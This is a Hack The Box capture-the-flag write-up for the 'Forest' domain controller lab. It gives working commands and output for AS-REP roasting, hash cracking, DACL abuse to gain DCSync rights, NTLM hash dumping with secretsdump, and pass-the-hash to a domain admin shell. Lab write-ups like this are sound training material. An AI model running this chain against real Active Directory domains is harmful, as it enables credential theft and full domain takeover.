HTB Forest
Forest (created by egre55 & mrb3n8132) is an easy Windows Domain Controller machine featuring an Exchange Server setup. The domain allows anonymous LDAP binds, enabling enumeration of domain objects without authentication. A service account with Kerberos pre-authentication disabled is identified, allowing an AS-REP roasting attack to crack its password and gain initial access. This account belongs to the Account Operators group, which is leveraged to add users to privileged Exchange groups. By exploiting Exchange group memberships, the attacker escalates privileges to obtain DCSync rights, enabling NTLM hash dumping and full domain compromise.
nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# Nmap 7.95 scan initiated Thu Jun 19 14:56:27 2025 as: /usr/lib/nmap/nmap --privileged -T4 -sC -sV -vv -oN nmap.md 10.10.10.161
Nmap scan report for 10.10.10.161
Host is up, received echo-reply ttl 127 (0.024s latency).
Scanned at 2025-06-19 14:56:27 BST for 18s
Not shown: 988 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-06-19 14:03:21Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds syn-ack ttl 127 Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-06-19T14:03:24
|_ start_date: 2025-06-19T14:01:43
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2025-06-19T07:03:27-07:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
|_clock-skew: mean: 2h26m49s, deviation: 4h02m31s, median: 6m47s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 32753/tcp): CLEAN (Couldn't connect)
| Check 2 (port 51816/tcp): CLEAN (Couldn't connect)
| Check 3 (port 44587/udp): CLEAN (Timeout)
| Check 4 (port 23521/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun 19 14:56:45 2025 -- 1 IP address (1 host up) scanned in 18.26 seconds
Intial Access
User Enumeration
As we can see from the nmap scan results, ports 88, 389, and 3268 are open, suggesting this is an Active Directory environment. The first thing to do when dealing with an AD environment is to find any user details, ideally usernames. The easiest way to enumerate users is by checking if guest access is enabled and if it allows dumping all users. This can be done with a tool named NetExec
.
1
└─$ nxc smb 10.10.10.161 -u '' -p '' --users
Now, armed with a list of users, we should first clean the user list and output it into a users.txt file for further enumeration
1
2
3
4
5
6
7
└─$ cat users.txt
sebastien
lucinda
svc-alfresco
andy
mark
santi
AS-REP Roasting
Once we have obtained a user list, we can try AS-REP roasting
, meaning we send an AS-REQ to the Key Distribution Center (KDC). The KDC checks for pre-authentication; if the user has no pre-authentication set, the KDC returns an AS-REP containing a Ticket Granting Ticket (TGT) encrypted with the user’s password hash. This was done using GetNPUsers.py
.
1
2
3
4
5
6
└─$ GetNPUsers.py htb.local/ -dc-ip 10.10.10.161 -usersfile users.txt -outputfile hashes.txt
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
...SNIP...
$krb5asrep$23$svc-alfresco@HTB.LOCAL:859fc1acd943f7806122e024e991aa7f$48fe49e94b11fd53c23efb7dd7513ed8532eba7a4a541b6354fdffcad9465beedc58d4e664d0a35e26ab9a0a9416e0d858f085e18fd80eee39ef36f6faddb447cf46b046ad815ea43985b6282d6189e82586903de065370dae7d97095c37a29f6fb7bb6ccbfb894d2a5e53047a3fdc023503cfef6314f9acdc637917dc15a92a9edf9e4366e9ee6159cdd65a06a40940b011dcb5f3ee9ed7d08577cccc4b5a01dcb9c4f96305c9b506b1883fb029cc543ddff19c5cd6e142c309bd98e1c95afa97ed213dfb676202c5da438c2374cea1776c00a4f9805e6f2a3fa61b6f91f185d33f44ca3d4f
...SNIP...
Cracking User Hash
Using hashcat with the mode 18200 which is for Kerberos we were able to crack the hash.
1
2
3
└─$ hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt
svc-alfresco@HTB.LOCAL:s3rvice
Enumeration with user svc_alfresco
With access to the service account svc_alfresco
let’s see if the password is valid and see if winrm works with this user.
Through NetExec we verified that winrm works so using evil-winrm we can gain a shell as the service user svc_alfresco
1
└─$ evil-winrm -i 10.10.10.161 -u svc-alfresco -p 's3rvice'
User flag.txt
Privilege Escalation
Bloodhound
With valid user credentials, we can leverage BloodHound to enumerate the Active Directory domain and map potential privilege escalation paths. Initially, we deploy the BloodHound-python ingestor to gather comprehensive AD object data via LDAP queries. The collected data is then ingested into BloodHound’s interface for detailed graph-based analysis of domain relationships and attack paths.
1
└─$ bloodhound-python -d htb.local -u svc-alfresco -p s3rvice -ns 10.10.10.161 -c all --zip
Abusing DACL
The members of the group EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL has permissions to modify the DACL (Discretionary Access Control List) on the domain HTB.LOCAL . With write access to the target object’s DACL, you can grant yourself any permission you want on the object. So to exploit this we must create a new user and add them to the EXCHANGE WINDOWS PERMISSIONS
group then abuse the weak permissions of DACLs to get DCSync rights.
1
2
3
4
5
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user wiper password /add /domain
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions" wiper /add
The command completed successfully.
Using the tool impacket-dacledit
we are able to grant the new user wiper
DCSync rights on the entire domain htb.local
.
1
└─$ impacket-dacledit -action 'write' -rights 'DCSync' -principal 'wiper' -target-dn 'DC=htb,DC=local' 'htb.local'/'wiper':'password' -dc-ip 10.10.10.161
Dumping Hashes
Perfect now to dump the administrator hash using impacket-secretsdump
and using the just-dc-ntlm
switch extracts only NTDS.DIT data (NTLM hashes only).
1
└─$ impacket-secretsdump htb.local/wiper:password@10.10.10.161 -just-dc-ntlm
Then we use evil-winrm with the hash (Pass the hash or PtH is a method of authenticating as a user without having access to the user’s cleartext password.) to gain a remote shell as the domain admin and capture the root.flag
1
└─$ evil-winrm -i 10.10.10.161 -u administrator -H 32693b11e6aa90eb43d32c72a07ceea6